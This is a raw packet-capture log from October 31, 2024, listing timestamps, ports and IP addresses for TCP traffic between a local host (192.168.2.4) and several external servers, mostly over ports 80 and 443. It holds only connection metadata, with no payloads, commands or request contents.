Oct 31, 2024 05:07:31.341006041 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.341038942 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.359457016 CET	49925	80	192.168.2.4	185.215.113.206
Oct 31, 2024 05:07:31.419017076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419034958 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419043064 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419055939 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419069052 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419075012 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.419106960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419118881 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419131041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419136047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.419162035 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.419519901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419532061 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419544935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419565916 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.419585943 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.419615030 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.454879045 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.454901934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.454914093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.454972982 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.459296942 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.459352970 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.460014105 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.460031986 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.460045099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.460072994 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.460110903 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.463677883 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.463685036 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.464032888 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.465580940 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.465655088 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.465694904 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.537758112 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.537772894 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.537786007 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.537811995 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.537925959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.537945032 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.537966013 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.538063049 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538101912 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.538136959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538288116 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538299084 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538331985 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.538520098 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538532972 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538544893 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538563013 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.538563967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.538585901 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.573993921 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.574007988 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.574019909 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.574222088 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.579025030 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.579036951 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.579049110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.579061031 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.579082966 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.579111099 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.656589031 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656611919 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656624079 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656703949 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.656868935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656881094 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656892061 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.656920910 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.656944036 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.657181978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657217979 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657228947 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657260895 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.657545090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657571077 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657582045 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.657617092 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.692959070 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.693016052 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.693027973 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.693137884 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.698849916 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.698862076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.698883057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.698894024 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.698905945 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.698941946 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.698973894 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.775707960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.775722980 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.775734901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.775747061 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.775759935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.775782108 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.775823116 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.776026011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776057959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776068926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776094913 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.776114941 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.776458025 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776470900 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776482105 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776504040 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.776822090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776895046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.776932001 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.812742949 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.812764883 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.812776089 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.812846899 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.817074060 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817179918 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817189932 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817200899 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817214012 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817224979 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.817327023 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.817327023 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.882806063 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.882908106 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.882949114 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.882982969 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.882992983 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.883004904 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.883101940 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.883143902 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.883147001 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.883147001 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.883169889 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.883207083 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.883212090 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.894802094 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.894820929 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.894834042 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.894845963 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.894857883 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.894884109 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.895042896 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.895095110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895106077 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895117044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895134926 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.895150900 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.895520926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895533085 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895545006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.895570040 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.930896044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.930907011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.930982113 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.930990934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.931065083 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.931065083 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.931818008 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:31.931838989 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:31.935916901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.935959101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.935971975 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.935986042 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.936008930 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.936181068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.936192989 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.936225891 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.936342001 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.936353922 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.936367035 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:31.936398983 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:31.978723049 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.001507998 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.001604080 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.001647949 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.001673937 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.001692057 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.001773119 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.001816034 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.005032063 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.005060911 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.005095959 CET	49949	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.005103111 CET	443	49949	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.013863087 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.013892889 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.013906002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.013937950 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.013957977 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.013971090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014013052 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.014200926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014213085 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014225006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014245987 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.014261961 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.014580011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014653921 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014666080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.014689922 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.050034046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.050075054 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.050084114 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.055073977 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055085897 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055099010 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055113077 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055119991 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.055156946 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.055213928 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055267096 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.055457115 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055511951 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055524111 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055535078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.055553913 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.055583000 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.132810116 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.132832050 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.132899046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.132899046 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.132946968 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.132960081 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.132981062 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.133013964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133032084 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133038044 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133065939 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.133091927 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.133886099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133898020 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133908987 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.133944035 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.163657904 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.163706064 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.163798094 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.164278984 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.164294004 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.174024105 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174041033 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174052954 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174099922 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174105883 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174200058 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.174236059 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.174390078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174432993 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174444914 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174468040 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.174489021 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174500942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.174535990 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.228715897 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.228746891 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.228792906 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.252223015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252237082 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252249002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252273083 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.252338886 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252351046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252362967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252374887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252387047 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252392054 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.252402067 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.252424955 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.253160954 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.253201008 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.253210068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.276451111 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:32.276743889 CET	49959	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:32.281534910 CET	80	49959	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:32.281595945 CET	49959	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:32.281771898 CET	49959	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:32.281840086 CET	80	49907	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:32.281929016 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:32.286530018 CET	80	49959	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:32.292959929 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.292970896 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.292983055 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.292999983 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.293045044 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.293179035 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293190956 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293206930 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293256998 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.293700933 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293713093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293725014 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293737888 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293745995 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.293751001 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.293781996 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.371148109 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371161938 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371172905 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371184111 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371201992 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371202946 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.371265888 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.371409893 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371423960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371453047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.371623039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371634960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371651888 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371664047 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.371666908 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.371690989 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.372183084 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.372195005 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.372206926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.372226000 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.372256994 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.412290096 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412302971 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412314892 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412344933 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.412429094 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412453890 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412463903 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412475109 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.412496090 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.412796974 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412807941 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412821054 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.412837982 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.413144112 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.413182020 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.413201094 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.413211107 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.413223028 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.413245916 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.463098049 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490048885 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490068913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490082979 CET	80	49943	185.215.113.16	192.168.2.4
